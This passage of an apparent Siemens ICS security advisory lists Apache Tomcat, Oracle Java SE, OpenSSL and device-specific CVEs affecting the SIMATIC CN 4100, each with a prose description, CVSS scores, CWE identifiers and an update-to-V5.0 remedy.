Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during 